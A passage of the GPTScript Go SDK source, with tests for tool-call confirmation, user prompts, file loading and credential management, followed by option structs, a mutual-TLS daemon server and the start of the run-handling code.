directory. Respond with the names of the files in only the current directory.", 1090 | Tools: []string{"sys.exec"}, 1091 | } 1092 | 1093 | run, err := g.Evaluate(context.Background(), Options{IncludeEvents: true, Confirm: true}, tools) 1094 | if err != nil { 1095 | t.Errorf("Error executing tool: %v", err) 1096 | } 1097 | 1098 | var confirmCallEvent *CallFrame 1099 | done := make(chan struct{}) 1100 | go func() { 1101 | defer close(done) 1102 | 1103 | for e := range run.Events() { 1104 | if e.Call != nil { 1105 | for _, o := range e.Call.Output { 1106 | eventContent += o.Content 1107 | } 1108 | 1109 | if e.Call.Type == EventTypeCallConfirm { 1110 | confirmCallEvent = e.Call 1111 | 1112 | if !strings.Contains(confirmCallEvent.Input, "\"ls") && !strings.Contains(confirmCallEvent.Input, "\"dir") { 1113 | t.Errorf("unexpected confirm input: %s", confirmCallEvent.Input) 1114 | } 1115 | 1116 | // Confirm the call 1117 | if err = g.Confirm(context.Background(), AuthResponse{ 1118 | ID: confirmCallEvent.ID, 1119 | Accept: true, 1120 | }); err != nil { 1121 | t.Errorf("Error confirming: %v", err) 1122 | } 1123 | } 1124 | } 1125 | } 1126 | }() 1127 | 1128 | out, err := run.Text() 1129 | if err != nil { 1130 | t.Errorf("Error reading output: %v", err) 1131 | } 1132 | 1133 | // Wait for events processing to finish 1134 | <-done 1135 | 1136 | if confirmCallEvent == nil { 1137 | t.Fatalf("No confirm call event") 1138 | } 1139 | 1140 | if !strings.Contains(eventContent, "Makefile") || !strings.Contains(eventContent, "README.md") { 1141 | t.Errorf("Unexpected event output: %s", eventContent) 1142 | } 1143 | 1144 | if !strings.Contains(out, "Makefile") || !strings.Contains(out, "README.md") { 1145 | t.Errorf("Unexpected output: %s", out) 1146 | } 1147 | 1148 | if len(run.ErrorOutput()) != 0 { 1149 | t.Errorf("Should have no stderr output: %v", run.ErrorOutput()) 1150 | } 1151 | } 1152 | 1153 | func TestConfirmDeny(t *testing.T) { 1154 | var eventContent string 1155 | tools := ToolDef{ 1156 | Instructions: "List the files in the current directory as '.'. If that doesn't work print the word FAIL.", 1157 | Tools: []string{"sys.exec"}, 1158 | } 1159 | 1160 | run, err := g.Evaluate(context.Background(), Options{IncludeEvents: true, Confirm: true}, tools) 1161 | if err != nil { 1162 | t.Errorf("Error executing tool: %v", err) 1163 | } 1164 | 1165 | // Wait for the confirm event 1166 | var confirmCallEvent *CallFrame 1167 | for e := range run.Events() { 1168 | if e.Call != nil { 1169 | for _, o := range e.Call.Output { 1170 | eventContent += o.Content 1171 | } 1172 | 1173 | if e.Call.Type == EventTypeCallConfirm { 1174 | confirmCallEvent = e.Call 1175 | break 1176 | } 1177 | } 1178 | } 1179 | 1180 | if confirmCallEvent == nil { 1181 | t.Fatalf("No confirm call event") 1182 | return 1183 | } 1184 | 1185 | if !strings.Contains(confirmCallEvent.Input, "ls") { 1186 | t.Errorf("unexpected confirm input: %s", confirmCallEvent.Input) 1187 | } 1188 | 1189 | if err = g.Confirm(context.Background(), AuthResponse{ 1190 | ID: confirmCallEvent.ID, 1191 | Accept: false, 1192 | Message: "I will not allow it!", 1193 | }); err != nil { 1194 | t.Errorf("Error confirming: %v", err) 1195 | } 1196 | 1197 | // Read the remainder of the events 1198 | for e := range run.Events() { 1199 | if e.Call != nil { 1200 | for _, o := range e.Call.Output { 1201 | eventContent += o.Content 1202 | } 1203 | } 1204 | } 1205 | 1206 | out, err := run.Text() 1207 | if err != nil { 1208 | t.Errorf("Error reading output: %v", err) 1209 | } 1210 | 1211 | if !strings.Contains(strings.ToLower(eventContent), "fail") { 1212 | t.Errorf("Unexpected event output: %s", eventContent) 1213 | } 1214 | 1215 | if !strings.Contains(strings.ToLower(out), "fail") { 1216 | t.Errorf("Unexpected output: %s", out) 1217 | } 1218 | 1219 | if len(run.ErrorOutput()) != 0 { 1220 | t.Errorf("Should have no stderr output: %v", run.ErrorOutput()) 1221 | } 1222 | } 1223 | 1224 | func TestPrompt(t *testing.T) { 1225 | var eventContent string 1226 | tools := ToolDef{ 1227 | Instructions: "Use the sys.prompt user to ask the user for 'first name' which is not sensitive. After you get their first name, say hello.", 1228 | Tools: []string{"sys.prompt"}, 1229 | } 1230 | 1231 | run, err := g.Evaluate(context.Background(), Options{IncludeEvents: true, Prompt: true}, tools) 1232 | if err != nil { 1233 | t.Errorf("Error executing tool: %v", err) 1234 | } 1235 | 1236 | // Wait for the prompt event 1237 | var promptFrame *PromptFrame 1238 | for e := range run.Events() { 1239 | if e.Call != nil { 1240 | for _, o := range e.Call.Output { 1241 | eventContent += o.Content 1242 | } 1243 | } 1244 | if e.Prompt != nil { 1245 | if e.Prompt.Type == EventTypePrompt { 1246 | promptFrame = e.Prompt 1247 | break 1248 | } 1249 | } 1250 | } 1251 | 1252 | if promptFrame == nil { 1253 | t.Fatalf("No prompt call event") 1254 | return 1255 | } 1256 | 1257 | if promptFrame.Sensitive { 1258 | t.Errorf("Unexpected sensitive prompt event: %v", promptFrame.Sensitive) 1259 | } 1260 | 1261 | if !strings.Contains(promptFrame.Message, "first name") { 1262 | t.Errorf("unexpected confirm input: %s", promptFrame.Message) 1263 | } 1264 | 1265 | if len(promptFrame.Fields) != 1 { 1266 | t.Fatalf("Unexpected number of fields: %d", len(promptFrame.Fields)) 1267 | } 1268 | 1269 | if promptFrame.Fields[0].Name != "first name" { 1270 | t.Errorf("Unexpected field: %s", promptFrame.Fields[0].Name) 1271 | } 1272 | 1273 | if err = g.PromptResponse(context.Background(), PromptResponse{ 1274 | ID: promptFrame.ID, 1275 | Responses: map[string]string{promptFrame.Fields[0].Name: "Clicky"}, 1276 | }); err != nil { 1277 | t.Errorf("Error responding: %v", err) 1278 | } 1279 | 1280 | // Read the remainder of the events 1281 | for e := range run.Events() { 1282 | if e.Call != nil { 1283 | for _, o := range e.Call.Output { 1284 | eventContent += o.Content 1285 | } 1286 | } 1287 | } 1288 | 1289 | out, err := run.Text() 1290 | if err != nil { 1291 | t.Errorf("Error reading output: %v", err) 1292 | } 1293 | 1294 | if !strings.Contains(eventContent, "Clicky") { 1295 | t.Errorf("Unexpected event output: %s", eventContent) 1296 | } 1297 | 1298 | if !strings.Contains(out, "Hello") || !strings.Contains(out, "Clicky") { 1299 | t.Errorf("Unexpected output: %s", out) 1300 | } 1301 | 1302 | if len(run.ErrorOutput()) != 0 { 1303 | t.Errorf("Should have no stderr output: %v", run.ErrorOutput()) 1304 | } 1305 | } 1306 | 1307 | func TestPromptWithMetadata(t *testing.T) { 1308 | run, err := g.Run(context.Background(), "sys.prompt", Options{IncludeEvents: true, Prompt: true, Input: `{"fields":"first name","metadata":{"key":"value"}}`}) 1309 | if err != nil { 1310 | t.Errorf("Error executing tool: %v", err) 1311 | } 1312 | 1313 | // Wait for the prompt event 1314 | var promptFrame *PromptFrame 1315 | for e := range run.Events() { 1316 | if e.Prompt != nil { 1317 | if e.Prompt.Type == EventTypePrompt { 1318 | promptFrame = e.Prompt 1319 | break 1320 | } 1321 | } 1322 | } 1323 | 1324 | if promptFrame == nil { 1325 | t.Fatalf("No prompt call event") 1326 | return 1327 | } 1328 | 1329 | if promptFrame.Sensitive { 1330 | t.Errorf("Unexpected sensitive prompt event: %v", promptFrame.Sensitive) 1331 | } 1332 | 1333 | if len(promptFrame.Fields) != 1 { 1334 | t.Fatalf("Unexpected number of fields: %d", len(promptFrame.Fields)) 1335 | } 1336 | 1337 | if promptFrame.Fields[0].Name != "first name" { 1338 | t.Errorf("Unexpected field: %s", promptFrame.Fields[0].Name) 1339 | } 1340 | 1341 | if promptFrame.Metadata["key"] != "value" { 1342 | t.Errorf("Unexpected metadata: %v", promptFrame.Metadata) 1343 | } 1344 | 1345 | if err = g.PromptResponse(context.Background(), PromptResponse{ 1346 | ID: promptFrame.ID, 1347 | Responses: map[string]string{promptFrame.Fields[0].Name: "Clicky"}, 1348 | }); err != nil { 1349 | t.Errorf("Error responding: %v", err) 1350 | } 1351 | 1352 | // Read the remainder of the events 1353 | //nolint:revive 1354 | for range run.Events() { 1355 | } 1356 | 1357 | out, err := run.Text() 1358 | if err != nil { 1359 | t.Errorf("Error reading output: %v", err) 1360 | } 1361 | 1362 | if !strings.Contains(out, "Clicky") { 1363 | t.Errorf("Unexpected output: %s", out) 1364 | } 1365 | 1366 | if len(run.ErrorOutput()) != 0 { 1367 | t.Errorf("Should have no stderr output: %v", run.ErrorOutput()) 1368 | } 1369 | } 1370 | 1371 | func TestPromptWithoutPromptAllowed(t *testing.T) { 1372 | tools := ToolDef{ 1373 | Instructions: "Use the sys.prompt user to ask the user for 'first name' which is not sensitive. After you get their first name, say hello.", 1374 | Tools: []string{"sys.prompt"}, 1375 | } 1376 | 1377 | run, err := g.Evaluate(context.Background(), Options{IncludeEvents: true}, tools) 1378 | if err != nil { 1379 | t.Errorf("Error executing tool: %v", err) 1380 | } 1381 | 1382 | // Wait for the prompt event 1383 | var promptFrame *PromptFrame 1384 | for e := range run.Events() { 1385 | if e.Prompt != nil { 1386 | if e.Prompt.Type == EventTypePrompt { 1387 | promptFrame = e.Prompt 1388 | break 1389 | } 1390 | } 1391 | } 1392 | 1393 | if promptFrame != nil { 1394 | t.Errorf("Prompt call event shouldn't happen") 1395 | } 1396 | 1397 | _, err = run.Text() 1398 | if err == nil || !strings.Contains(err.Error(), "prompt event occurred") { 1399 | t.Errorf("Error reading output: %v", err) 1400 | } 1401 | 1402 | if run.State() != Error { 1403 | t.Errorf("Unexpected state: %v", run.State()) 1404 | } 1405 | } 1406 | 1407 | func TestPromptWithOptions(t *testing.T) { 1408 | run, err := g.Run(context.Background(), "sys.prompt", Options{IncludeEvents: true, Prompt: true, Input: `{"fields":[{"name":"Authentication Method","description":"The authentication token for the user","options":["API Key","OAuth"]}]}`}) 1409 | if err != nil { 1410 | t.Errorf("Error executing tool: %v", err) 1411 | } 1412 | 1413 | // Wait for the prompt event 1414 | var promptFrame *PromptFrame 1415 | for e := range run.Events() { 1416 | if e.Prompt != nil { 1417 | if e.Prompt.Type == EventTypePrompt { 1418 | promptFrame = e.Prompt 1419 | break 1420 | } 1421 | } 1422 | } 1423 | 1424 | if promptFrame == nil { 1425 | t.Fatalf("No prompt call event") 1426 | return 1427 | } 1428 | 1429 | if len(promptFrame.Fields) != 1 { 1430 | t.Fatalf("Unexpected number of fields: %d", len(promptFrame.Fields)) 1431 | } 1432 | 1433 | if promptFrame.Fields[0].Name != "Authentication Method" { 1434 | t.Errorf("Unexpected field: %s", promptFrame.Fields[0].Name) 1435 | } 1436 | 1437 | if promptFrame.Fields[0].Description != "The authentication token for the user" { 1438 | t.Errorf("Unexpected description: %s", promptFrame.Fields[0].Description) 1439 | } 1440 | 1441 | if len(promptFrame.Fields[0].Options) != 2 { 1442 | t.Fatalf("Unexpected number of options: %d", len(promptFrame.Fields[0].Options)) 1443 | } 1444 | 1445 | if promptFrame.Fields[0].Options[0] != "API Key" { 1446 | t.Errorf("Unexpected option: %s", promptFrame.Fields[0].Options[0]) 1447 | } 1448 | 1449 | if promptFrame.Fields[0].Options[1] != "OAuth" { 1450 | t.Errorf("Unexpected option: %s", promptFrame.Fields[0].Options[1]) 1451 | } 1452 | } 1453 | 1454 | func TestGetCommand(t *testing.T) { 1455 | currentEnvVar := os.Getenv("GPTSCRIPT_BIN") 1456 | t.Cleanup(func() { 1457 | _ = os.Setenv("GPTSCRIPT_BIN", currentEnvVar) 1458 | }) 1459 | 1460 | tests := []struct { 1461 | name string 1462 | envVar string 1463 | want string 1464 | }{ 1465 | { 1466 | name: "no env var set", 1467 | want: "gptscript", 1468 | }, 1469 | { 1470 | name: "env var set to absolute path", 1471 | envVar: "/usr/local/bin/gptscript", 1472 | want: "/usr/local/bin/gptscript", 1473 | }, 1474 | { 1475 | name: "env var set to relative path", 1476 | envVar: "../bin/gptscript", 1477 | want: "../bin/gptscript", 1478 | }, 1479 | { 1480 | name: "env var set to relative 'to me' path", 1481 | envVar: "/../bin/gptscript", 1482 | want: filepath.Join(filepath.Dir(os.Args[0]), "../bin/gptscript"), 1483 | }, 1484 | } 1485 | for _, tt := range tests { 1486 | t.Run(tt.name, func(t *testing.T) { 1487 | _ = os.Setenv("GPTSCRIPT_BIN", tt.envVar) 1488 | if got := getCommand(); got != tt.want { 1489 | t.Errorf("getCommand() = %v, want %v", got, tt.want) 1490 | } 1491 | }) 1492 | } 1493 | } 1494 | 1495 | func TestGetEnv(t *testing.T) { 1496 | // Cleaning up 1497 | defer func(currentEnvValue string) { 1498 | os.Setenv("testKey", currentEnvValue) 1499 | }(os.Getenv("testKey")) 1500 | 1501 | // Tests 1502 | testCases := []struct { 1503 | name string 1504 | key string 1505 | def string 1506 | envValue string 1507 | expectedResult string 1508 | }{ 1509 | { 1510 | name: "NoValueUseDefault", 1511 | key: "testKey", 1512 | def: "defaultValue", 1513 | envValue: "", 1514 | expectedResult: "defaultValue", 1515 | }, 1516 | { 1517 | name: "ValueExistsNoCompress", 1518 | key: "testKey", 1519 | def: "defaultValue", 1520 | envValue: "testValue", 1521 | expectedResult: "testValue", 1522 | }, 1523 | { 1524 | name: "ValueExistsCompressed", 1525 | key: "testKey", 1526 | def: "defaultValue", 1527 | envValue: `{"_gz":"H4sIAEosrGYC/ytJLS5RKEvMKU0FACtB3ewKAAAA"}`, 1528 | 1529 | expectedResult: "test value", 1530 | }, 1531 | } 1532 | 1533 | for _, test := range testCases { 1534 | t.Run(test.name, func(t *testing.T) { 1535 | os.Setenv(test.key, test.envValue) 1536 | 1537 | result := GetEnv(test.key, test.def) 1538 | 1539 | if result != test.expectedResult { 1540 | t.Errorf("expected: %s, got: %s", test.expectedResult, result) 1541 | } 1542 | }) 1543 | } 1544 | } 1545 | 1546 | func TestRunPythonWithMetadata(t *testing.T) { 1547 | wd, err := os.Getwd() 1548 | if err != nil { 1549 | t.Fatalf("Error getting working directory: %v", err) 1550 | } 1551 | 1552 | run, err := g.Run(context.Background(), wd+"/test/parse-with-metadata.gpt", Options{IncludeEvents: true}) 1553 | if err != nil { 1554 | t.Fatalf("Error executing file: %v", err) 1555 | } 1556 | 1557 | out, err := run.Text() 1558 | if err != nil { 1559 | t.Fatalf("Error reading output: %v", err) 1560 | } 1561 | 1562 | if out != "200" { 1563 | t.Errorf("Unexpected output: %s", out) 1564 | } 1565 | } 1566 | 1567 | func TestParseThenEvaluateWithMetadata(t *testing.T) { 1568 | wd, err := os.Getwd() 1569 | if err != nil { 1570 | t.Fatalf("Error getting working directory: %v", err) 1571 | } 1572 | 1573 | tools, err := g.Parse(context.Background(), wd+"/test/parse-with-metadata.gpt") 1574 | if err != nil { 1575 | t.Fatalf("Error parsing file: %v", err) 1576 | } 1577 | 1578 | run, err := g.Evaluate(context.Background(), Options{}, tools[0].ToolNode.Tool.ToolDef) 1579 | if err != nil { 1580 | t.Fatalf("Error executing file: %v", err) 1581 | } 1582 | 1583 | out, err := run.Text() 1584 | if err != nil { 1585 | t.Fatalf("Error reading output: %v", err) 1586 | } 1587 | 1588 | if out != "200" { 1589 | t.Errorf("Unexpected output: %s", out) 1590 | } 1591 | } 1592 | 1593 | func TestLoadFile(t *testing.T) { 1594 | wd, err := os.Getwd() 1595 | if err != nil { 1596 | t.Fatalf("Error getting working directory: %v", err) 1597 | } 1598 | 1599 | prg, err := g.LoadFile(context.Background(), wd+"/test/global-tools.gpt") 1600 | if err != nil { 1601 | t.Fatalf("Error loading file: %v", err) 1602 | } 1603 | 1604 | if prg.EntryToolID == "" { 1605 | t.Errorf("Unexpected entry tool ID: %s", prg.EntryToolID) 1606 | } 1607 | 1608 | if len(prg.ToolSet) == 0 { 1609 | t.Errorf("Unexpected number of tools: %d", len(prg.ToolSet)) 1610 | } 1611 | 1612 | if prg.Name == "" { 1613 | t.Errorf("Unexpected name: %s", prg.Name) 1614 | } 1615 | } 1616 | 1617 | func TestLoadRemoteFile(t *testing.T) { 1618 | prg, err := g.LoadFile(context.Background(), "github.com/gptscript-ai/context/workspace") 1619 | if err != nil { 1620 | t.Fatalf("Error loading file: %v", err) 1621 | } 1622 | 1623 | if prg.EntryToolID == "" { 1624 | t.Errorf("Unexpected entry tool ID: %s", prg.EntryToolID) 1625 | } 1626 | 1627 | if len(prg.ToolSet) == 0 { 1628 | t.Errorf("Unexpected number of tools: %d", len(prg.ToolSet)) 1629 | } 1630 | 1631 | if prg.Name == "" { 1632 | t.Errorf("Unexpected name: %s", prg.Name) 1633 | } 1634 | } 1635 | 1636 | func TestLoadContent(t *testing.T) { 1637 | wd, err := os.Getwd() 1638 | if err != nil { 1639 | t.Fatalf("Error getting working directory: %v", err) 1640 | } 1641 | 1642 | content, err := os.ReadFile(wd + "/test/global-tools.gpt") 1643 | if err != nil { 1644 | t.Fatalf("Error reading file: %v", err) 1645 | } 1646 | 1647 | prg, err := g.LoadContent(context.Background(), string(content)) 1648 | if err != nil { 1649 | t.Fatalf("Error loading file: %v", err) 1650 | } 1651 | 1652 | if prg.EntryToolID == "" { 1653 | t.Errorf("Unexpected entry tool ID: %s", prg.EntryToolID) 1654 | } 1655 | 1656 | if len(prg.ToolSet) == 0 { 1657 | t.Errorf("Unexpected number of tools: %d", len(prg.ToolSet)) 1658 | } 1659 | 1660 | // Name won't be set in this case 1661 | if prg.Name != "" { 1662 | t.Errorf("Unexpected name: %s", prg.Name) 1663 | } 1664 | } 1665 | 1666 | func TestLoadTools(t *testing.T) { 1667 | tools := []ToolDef{ 1668 | { 1669 | Tools: []string{"echo"}, 1670 | Instructions: "echo 'hello there'", 1671 | }, 1672 | { 1673 | Name: "other", 1674 | Tools: []string{"echo"}, 1675 | Instructions: "echo 'hello somewhere else'", 1676 | }, 1677 | { 1678 | Name: "echo", 1679 | Tools: []string{"sys.exec"}, 1680 | Description: "Echoes the input", 1681 | Arguments: ObjectSchema("input", "The string input to echo"), 1682 | Instructions: "#!/bin/bash\n echo ${input}", 1683 | }, 1684 | } 1685 | 1686 | prg, err := g.LoadTools(context.Background(), tools) 1687 | if err != nil { 1688 | t.Fatalf("Error loading file: %v", err) 1689 | } 1690 | 1691 | if prg.EntryToolID == "" { 1692 | t.Errorf("Unexpected entry tool ID: %s", prg.EntryToolID) 1693 | } 1694 | 1695 | if len(prg.ToolSet) == 0 { 1696 | t.Errorf("Unexpected number of tools: %d", len(prg.ToolSet)) 1697 | } 1698 | 1699 | // Name won't be set in this case 1700 | if prg.Name != "" { 1701 | t.Errorf("Unexpected name: %s", prg.Name) 1702 | } 1703 | } 1704 | 1705 | func TestCredentials(t *testing.T) { 1706 | // We will test in the following order of create, list, reveal, delete. 1707 | name := "test-" + strconv.Itoa(rand.Int()) 1708 | if len(name) > 20 { 1709 | name = name[:20] 1710 | } 1711 | 1712 | // Create 1713 | err := g.CreateCredential(context.Background(), Credential{ 1714 | Context: "testing", 1715 | ToolName: name, 1716 | Type: CredentialTypeTool, 1717 | Env: map[string]string{"ENV": "testing"}, 1718 | RefreshToken: "my-refresh-token", 1719 | }) 1720 | require.NoError(t, err) 1721 | 1722 | // List 1723 | creds, err := g.ListCredentials(context.Background(), ListCredentialsOptions{ 1724 | CredentialContexts: []string{"testing"}, 1725 | }) 1726 | require.NoError(t, err) 1727 | require.GreaterOrEqual(t, len(creds), 1) 1728 | 1729 | // Reveal 1730 | cred, err := g.RevealCredential(context.Background(), []string{"testing"}, name) 1731 | require.NoError(t, err) 1732 | require.Contains(t, cred.Env, "ENV") 1733 | require.Equal(t, cred.Env["ENV"], "testing") 1734 | require.Equal(t, cred.RefreshToken, "my-refresh-token") 1735 | 1736 | // Delete 1737 | err = g.DeleteCredential(context.Background(), "testing", name) 1738 | require.NoError(t, err) 1739 | 1740 | // Delete again and make sure we get a NotFoundError 1741 | err = g.DeleteCredential(context.Background(), "testing", name) 1742 | require.Error(t, err) 1743 | require.True(t, errors.As(err, &ErrNotFound{})) 1744 | } 1745 | -------------------------------------------------------------------------------- /opts.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | // GlobalOptions allows specification of settings that are used for every call made. 4 | // These options can be overridden by the corresponding Options. 5 | type GlobalOptions struct { 6 | URL string `json:"url"` 7 | Token string `json:"token"` 8 | OpenAIAPIKey string `json:"APIKey"` 9 | OpenAIBaseURL string `json:"BaseURL"` 10 | DefaultModel string `json:"DefaultModel"` 11 | DefaultModelProvider string `json:"DefaultModelProvider"` 12 | CacheDir string `json:"CacheDir"` 13 | Env []string `json:"env"` 14 | DatasetTool string `json:"DatasetTool"` 15 | WorkspaceTool string `json:"WorkspaceTool"` 16 | } 17 | 18 | func (g GlobalOptions) toEnv() []string { 19 | var args []string 20 | if g.OpenAIAPIKey != "" { 21 | args = append(args, "OPENAI_API_KEY="+g.OpenAIAPIKey) 22 | } 23 | if g.OpenAIBaseURL != "" { 24 | args = append(args, "OPENAI_BASE_URL="+g.OpenAIBaseURL) 25 | } 26 | if g.DefaultModel != "" { 27 | args = append(args, "GPTSCRIPT_SDKSERVER_DEFAULT_MODEL="+g.DefaultModel) 28 | } 29 | if g.DefaultModelProvider != "" { 30 | args = append(args, "GPTSCRIPT_SDKSERVER_DEFAULT_MODEL_PROVIDER="+g.DefaultModelProvider) 31 | } 32 | if g.WorkspaceTool != "" { 33 | args = append(args, "GPTSCRIPT_SDKSERVER_WORKSPACE_TOOL="+g.WorkspaceTool) 34 | } 35 | 36 | return args 37 | } 38 | 39 | func completeGlobalOptions(opts ...GlobalOptions) GlobalOptions { 40 | var result GlobalOptions 41 | for _, opt := range opts { 42 | result.CacheDir = firstSet(opt.CacheDir, result.CacheDir) 43 | result.URL = firstSet(opt.URL, result.URL) 44 | result.Token = firstSet(opt.Token, result.Token) 45 | result.OpenAIAPIKey = firstSet(opt.OpenAIAPIKey, result.OpenAIAPIKey) 46 | result.OpenAIBaseURL = firstSet(opt.OpenAIBaseURL, result.OpenAIBaseURL) 47 | result.DefaultModel = firstSet(opt.DefaultModel, result.DefaultModel) 48 | result.DefaultModelProvider = firstSet(opt.DefaultModelProvider, result.DefaultModelProvider) 49 | result.DatasetTool = firstSet(opt.DatasetTool, result.DatasetTool) 50 | result.WorkspaceTool = firstSet(opt.WorkspaceTool, result.WorkspaceTool) 51 | result.Env = append(result.Env, opt.Env...) 52 | } 53 | return result 54 | } 55 | 56 | func firstSet[T comparable](in ...T) T { 57 | var result T 58 | for _, i := range in { 59 | if i != result { 60 | return i 61 | } 62 | } 63 | 64 | return result 65 | } 66 | 67 | // Options represents options for the gptscript tool or file. 68 | type Options struct { 69 | GlobalOptions `json:",inline"` 70 | 71 | DisableCache bool `json:"disableCache"` 72 | Confirm bool `json:"confirm"` 73 | Input string `json:"input"` 74 | SubTool string `json:"subTool"` 75 | Workspace string `json:"workspace"` 76 | ChatState string `json:"chatState"` 77 | IncludeEvents bool `json:"includeEvents"` 78 | Prompt bool `json:"prompt"` 79 | CredentialOverrides []string `json:"credentialOverrides"` 80 | CredentialContexts []string `json:"credentialContexts"` 81 | Location string `json:"location"` 82 | ForceSequential bool `json:"forceSequential"` 83 | } 84 | -------------------------------------------------------------------------------- /pkg/daemon/daemon.go: -------------------------------------------------------------------------------- 1 | package daemon 2 | 3 | import ( 4 | "crypto/tls" 5 | "crypto/x509" 6 | "encoding/base64" 7 | "errors" 8 | "fmt" 9 | "net/http" 10 | "os" 11 | ) 12 | 13 | type Server struct { 14 | mux *http.ServeMux 15 | tlsConfig *tls.Config 16 | } 17 | 18 | // CreateServer creates a new HTTP server with TLS configured for GPTScript. 19 | // This function should be used when creating a new server for a daemon tool. 20 | // The server should then be started with the StartServer function. 21 | func CreateServer() (*Server, error) { 22 | return CreateServerWithMux(http.DefaultServeMux) 23 | } 24 | 25 | // CreateServerWithMux creates a new HTTP server with TLS configured for GPTScript. 26 | // This function should be used when creating a new server for a daemon tool with a custom ServeMux. 27 | // The server should then be started with the StartServer function. 28 | func CreateServerWithMux(mux *http.ServeMux) (*Server, error) { 29 | tlsConfig, err := getTLSConfig() 30 | if err != nil { 31 | return nil, fmt.Errorf("failed to get TLS config: %v", err) 32 | } 33 | 34 | return &Server{ 35 | mux: mux, 36 | tlsConfig: tlsConfig, 37 | }, nil 38 | } 39 | 40 | // Start starts an HTTP server created by the CreateServer function. 41 | // This is for use with daemon tools. 42 | func (s *Server) Start() error { 43 | server := &http.Server{ 44 | Addr: fmt.Sprintf("127.0.0.1:%s", os.Getenv("PORT")), 45 | TLSConfig: s.tlsConfig, 46 | Handler: s.mux, 47 | } 48 | 49 | if err := server.ListenAndServeTLS("", ""); err != nil && !errors.Is(err, http.ErrServerClosed) { 50 | return fmt.Errorf("stopped serving: %v", err) 51 | } 52 | return nil 53 | } 54 | 55 | func (s *Server) HandleFunc(pattern string, handler http.HandlerFunc) { 56 | s.mux.HandleFunc(pattern, handler) 57 | } 58 | 59 | func getTLSConfig() (*tls.Config, error) { 60 | certB64 := os.Getenv("CERT") 61 | privateKeyB64 := os.Getenv("PRIVATE_KEY") 62 | gptscriptCertB64 := os.Getenv("GPTSCRIPT_CERT") 63 | 64 | if certB64 == "" { 65 | return nil, fmt.Errorf("CERT not set") 66 | } else if privateKeyB64 == "" { 67 | return nil, fmt.Errorf("PRIVATE_KEY not set") 68 | } else if gptscriptCertB64 == "" { 69 | return nil, fmt.Errorf("GPTSCRIPT_CERT not set") 70 | } 71 | 72 | certBytes, err := base64.StdEncoding.DecodeString(certB64) 73 | if err != nil { 74 | return nil, fmt.Errorf("failed to decode cert base64: %v", err) 75 | } 76 | 77 | privateKeyBytes, err := base64.StdEncoding.DecodeString(privateKeyB64) 78 | if err != nil { 79 | return nil, fmt.Errorf("failed to decode private key base64: %v", err) 80 | } 81 | 82 | gptscriptCertBytes, err := base64.StdEncoding.DecodeString(gptscriptCertB64) 83 | if err != nil { 84 | return nil, fmt.Errorf("failed to decode gptscript cert base64: %v", err) 85 | } 86 | 87 | cert, err := tls.X509KeyPair(certBytes, privateKeyBytes) 88 | if err != nil { 89 | return nil, fmt.Errorf("failed to create X509 key pair: %v", err) 90 | } 91 | 92 | pool := x509.NewCertPool() 93 | if !pool.AppendCertsFromPEM(gptscriptCertBytes) { 94 | return nil, fmt.Errorf("failed to append gptscript cert to pool") 95 | } 96 | 97 | return &tls.Config{ 98 | Certificates: []tls.Certificate{cert}, 99 | ClientCAs: pool, 100 | ClientAuth: tls.RequireAndVerifyClientCert, 101 | }, nil 102 | } 103 | -------------------------------------------------------------------------------- /prompt.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | type PromptResponse struct { 4 | ID string `json:"id,omitempty"` 5 | Responses map[string]string `json:"response,omitempty"` 6 | } 7 | -------------------------------------------------------------------------------- /run.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "encoding/json" 7 | "errors" 8 | "fmt" 9 | "io" 10 | "log/slog" 11 | "maps" 12 | "net/http" 13 | "os/exec" 14 | "strconv" 15 | "sync" 16 | ) 17 | 18 | var errAbortRun = errors.New("run aborted") 19 | 20 | type ErrNotFound struct { 21 | Message string 22 | } 23 | 24 | func (e ErrNotFound) Error() string { 25 | return e.Message 26 | } 27 | 28 | type Run struct { 29 | url, token, requestPath, toolPath string 30 | tools []ToolDef 31 | opts Options 32 | state RunState 33 | chatState string 34 | cancel context.CancelCauseFunc 35 | err error 36 | wait func() 37 | basicCommand bool 38 | 39 | program *Program 40 | id string 41 | callsLock sync.RWMutex 42 | calls CallFrames 43 | rawOutput map[string]any 44 | output, errput string 45 | events chan Frame 46 | lock sync.Mutex 47 | responseCode int 48 | } 49 | 50 | // Text returns the text output of the gptscript. It blocks until the output is ready. 51 | func (r *Run) Text() (string, error) { 52 | r.lock.Lock() 53 | defer r.lock.Unlock() 54 | 55 | return r.output, r.Err() 56 | } 57 | 58 | // Bytes returns the output of the gptscript in bytes. It blocks until the output is ready. 59 | func (r *Run) Bytes() ([]byte, error) { 60 | out, err := r.Text() 61 | return []byte(out), err 62 | } 63 | 64 | // State returns the current state of the gptscript. 65 | func (r *Run) State() RunState { 66 | return r.state 67 | } 68 | 69 | // Err returns the error that caused the gptscript to fail, if any. 70 | func (r *Run) Err() error { 71 | if r.err != nil { 72 | if r.responseCode == http.StatusNotFound { 73 | return ErrNotFound{ 74 | Message: fmt.Sprintf("run encountered an error: %s", r.errput), 75 | } 76 | } 77 | return fmt.Errorf("run encountered an error: %w with error output: %s", r.err, r.errput) 78 | } 79 | return nil 80 | } 81 | 82 | // Program returns the gptscript program for the run. 83 | func (r *Run) Program() *Program { 84 | r.callsLock.Lock() 85 | defer r.callsLock.Unlock() 86 | return r.program 87 | } 88 | 89 | // RespondingTool returns the name of the tool that produced the output. 90 | func (r *Run) RespondingTool() Tool { 91 | r.lock.Lock() 92 | defer r.lock.Unlock() 93 | 94 | if r.program == nil { 95 | return Tool{} 96 | } 97 | 98 | s, ok := r.rawOutput["toolID"].(string) 99 | if !ok { 100 | return Tool{} 101 | } 102 | 103 | return r.program.ToolSet[s] 104 | } 105 | 106 | // Calls will return a flattened array of the calls for this run. 107 | func (r *Run) Calls() CallFrames { 108 | r.callsLock.RLock() 109 | defer r.callsLock.RUnlock() 110 | return maps.Clone(r.calls) 111 | } 112 | 113 | // ParentCallFrame returns the CallFrame for the top-level or "parent" call. The boolean indicates whether there is a parent CallFrame. 114 | func (r *Run) ParentCallFrame() (CallFrame, bool) { 115 | r.callsLock.RLock() 116 | defer r.callsLock.RUnlock() 117 | 118 | return r.calls.ParentCallFrame(), true 119 | } 120 | 121 | // Usage returns all the usage for this run. 122 | func (r *Run) Usage() Usage { 123 | var u Usage 124 | r.callsLock.RLock() 125 | defer r.callsLock.RUnlock() 126 | 127 | for _, c := range r.calls { 128 | u.CompletionTokens += c.Usage.CompletionTokens 129 | u.PromptTokens += c.Usage.PromptTokens 130 